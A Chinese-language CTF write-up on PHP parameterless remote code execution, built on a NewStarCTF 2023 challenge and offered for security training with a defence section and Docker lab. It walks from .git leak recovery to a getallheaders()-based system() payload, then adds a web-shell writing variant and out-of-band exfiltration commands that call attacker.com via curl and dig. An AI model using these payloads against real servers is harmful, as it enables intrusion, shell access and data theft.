PHP 无参数 RCE 实战从 .git 泄露到 Header 注入的完整攻击链在 CTF 竞赛和实际渗透测试中PHP 无参数远程代码执行RCE是一种常见且强大的攻击技术。本文将深入剖析这种攻击方式的完整利用链从信息收集到最终获取系统权限通过 NewStarCTF 2023 Week2 的实战案例展示如何一步步突破防线。1. 攻击链概览与核心原理无参数 RCE 是指在不使用任何显式参数的情况下通过 PHP 内置函数和特性实现代码执行的攻击方式。这类漏洞通常出现在代码审计场景中当开发者对用户输入进行了严格过滤但未考虑到无参数调用链的可能性时攻击者就能利用 PHP 灵活的函数调用特性实现突破。典型的攻击流程分为三个阶段信息收集阶段通过 .git 泄露等途径获取源码代码审计阶段分析过滤逻辑寻找可利用的函数调用链漏洞利用阶段构造无参数调用链实现 RCE这种攻击方式的最大特点是不需要传统意义上的参数传递而是通过函数返回值作为下一个函数的输入形成调用链。例如// 传统参数传递 system($_GET[cmd]); // 无参数调用链 system(end(getallheaders()));在本次分析的案例中攻击者需要突破以下关键限制只能使用无参数函数调用关键函数被过滤如 scandir、readfile 等需要从 HTTP 请求头中提取并执行命令2. 信息收集.git 泄露利用实战信息收集是渗透测试的第一步也是发现潜在漏洞的关键。在本案例中目标网站存在 .git 目录泄露这为我们获取源码提供了可能。2.1 检测 .git 泄露常规的目录扫描工具如 DirBuster可能会被 WAF 拦截返回 429 状态码。此时可以手动测试常见源码泄露路径http://target/.git/HEAD http://target/.hg/requires http://target/.DS_Store当访问/.git/返回 403而非 404时基本可以确认存在 .git 目录但直接访问被禁止。2.2 利用工具恢复源码推荐使用两款专业工具恢复 .git 内容1. GitHackPython 实现python GitHack.py http://target/.git/2. dvcs-ripperPerl 实现./rip-git.pl -v -u http://target/.git/这些工具会尝试下载整个 .git 仓库包括对象文件和历史记录。成功执行后你将获得完整的网站源码这是后续代码审计的基础。2.3 获取关键源码恢复源码后发现关键文件bo0g1pop.php包含以下过滤逻辑?php highlight_file(__FILE__); if (; preg_replace(/[^\W]\((?R)?\)/, , $_GET[star])) { if(!preg_match(/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i,$_GET[star])){ eval($_GET[star]); } }这段代码设置了两个关键限制输入必须由函数名()的形式组成替换后只剩分号过滤了常见危险函数但存在拼写错误curent 而非 current3. 代码审计与绕过技巧3.1 正则表达式分析第一个条件使用的正则表达式/[^\W]\((?R)?\)/分解如下[^\W]匹配一个或多个单词字符字母、数字、下划线\(和\)匹配括号(?R)?递归匹配整个模式允许嵌套函数调用这意味着允许的输入形式如a(b()) a(b(c()))但不允许a(string) a($variable) 123()3.2 可用函数分析虽然过滤了常见危险函数但 PHP 中有大量其他函数可用于构造利用链。特别值得注意的是目录遍历相关getcwd()获取当前目录chdir()改变目录dirname()返回父目录glob()查找匹配路径数组操作相关array_reverse()反转数组next()/end()移动数组指针array_flip()交换键值array_rand()随机返回键名HTTP 头操作getallheaders()获取所有 HTTP 头apache_request_headers()同上Apache 专用但常在其他服务器也有效3.3 构造目录遍历链尝试列出目录内容?starprint_r(glob(dirname(chdir(dirname(getcwd())))));这条链的执行流程getcwd()→ 当前目录路径dirname()→ 上级目录chdir()→ 切换到上级目录dirname()→ 再次获取上级目录glob()→ 列出该目录下文件如果遇到限制可以尝试替代方案?starprint_r(glob(dirname(chdir(dirname(current(localeconv()))))));其中localeconv()返回包含点号.的数组current()获取第一个元素。4. 突破限制Header 注入实现 RCE当目录遍历受限时更有效的方法是利用 HTTP 头注入。核心思路是通过getallheaders()获取请求头然后提取并执行其中的命令。4.1 获取请求头首先查看所有请求头?starprint_r(getallheaders());返回结果示例Array ( [Host] target.com [User-Agent] Mozilla/5.0 [Accept] text/html [MyCmd] ls / )4.2 构造 RCE 载荷利用array_flip()和array_rand()从请求头中提取命令?starsystem(array_rand(array_flip(getallheaders())));这条链的执行逻辑getallheaders()→ 获取所有头信息键值对array_flip()→ 交换键值使命令成为键名array_rand()→ 随机选择一个键名即我们的命令system()→ 执行该命令4.3 使用 Burp Suite 实施攻击拦截请求并添加自定义头MyCmd: ls /发送多次请求因为array_rand()是随机的当返回目录列表时修改命令获取 flagMyCmd: cat /flag4.4 技术原理深度解析为什么这种注入方式有效关键在于 PHP 的数组处理特性键值反转原始头信息是[MyCmdls /]反转后变为[ls /MyCmd]随机选择array_rand()返回的是键名ls /而非原始头名称MyCmd命令注入system(ls /)直接执行了头值中的命令这种技术完全符合无参数 RCE 的要求且绕过了大多数基于关键字的过滤。5. 防御方案与最佳实践针对此类攻击开发者可以采取以下防护措施5.1 代码层防护禁用危险函数disable_functions system,exec,passthru,shell_exec,proc_open严格过滤输入$allowed [date,time,strtotime]; if(!in_array($func, $allowed)){ die(Forbidden function); }使用白名单而非黑名单$allowed [ abs,acos,asin,atan,ceil,cos, // 其他安全数学函数... ];5.2 服务器配置限制 .git 访问location ~ /\.git { deny all; return 403; }设置严格的文件权限chmod -R 750 .git/使用 WAF 规则rule id100015 level2 matchgetallheaders|apache_request_headers/match descriptionPHP header inspection functions/description /rule5.3 架构设计建议最小权限原则Web 服务器用户不应有目录遍历权限日志监控记录所有包含eval(、system(的请求代码审计定期检查项目中的动态代码执行点6. 本地测试环境搭建为了练习这种技术可以使用 Docker 快速搭建测试环境FROM php:8.0-apache RUN echo ?php if(; preg_replace(/[^\W]\((?R)?\)/, , \$_GET[star])){ eval(\$_GET[star]); } ? /var/www/html/bo0g1pop.php RUN chmod -R 755 /var/www/html构建并运行docker build -t php-rce . docker run -d -p 8080:80 --name rce-test php-rce测试 payloadhttp://localhost:8080/bo0g1pop.php?starsystem(array_rand(array_flip(getallheaders())));7. 高级技巧与变种7.1 绕过特定函数过滤如果system被过滤可以尝试使用反引号操作符?starecho$_SERVER[HTTP_CMD];通过文件操作写 shell?starfile_put_contents(end(getallheaders()),prev(getallheaders()));请求头File: shell.php Content: ?php system($_GET[1]);7.2 无回显 RCE当没有直接输出时可以使用DNS 外带数据?starsystem(dig whoami.attacker.com);HTTP 请求外带?starsystem(curl http://attacker.com/?data$(ls|base64));7.3 多级函数链更复杂的调用链示例?starreadfile(end(array_reverse(glob(getcwd()./*))));这条链getcwd()获取当前目录glob()列出所有文件array_reverse()反转数组顺序end()获取最后一个元素readfile()输出文件内容8. 总结与经验分享在 CTF 竞赛和实际渗透中无参数 RCE 是一种极具技巧性的攻击方式。通过本次 NewStarCTF 案例我们可以总结出以下关键经验信息收集是基础.git 泄露往往能提供关键源码正则分析要细致理解过滤逻辑才能找到突破口PHP 函数知识至关重要了解非常用函数的用法调用链构造需要创意多尝试不同函数组合Header 注入是有效途径当其他方法受限时特别有用这种攻击方式最巧妙之处在于完全遵守了代码的过滤规则却通过 PHP 特性实现了突破。在实际防御中开发者必须意识到任何形式的动态代码执行都是危险的应该尽量避免使用eval()等函数或至少实施严格的白名单控制。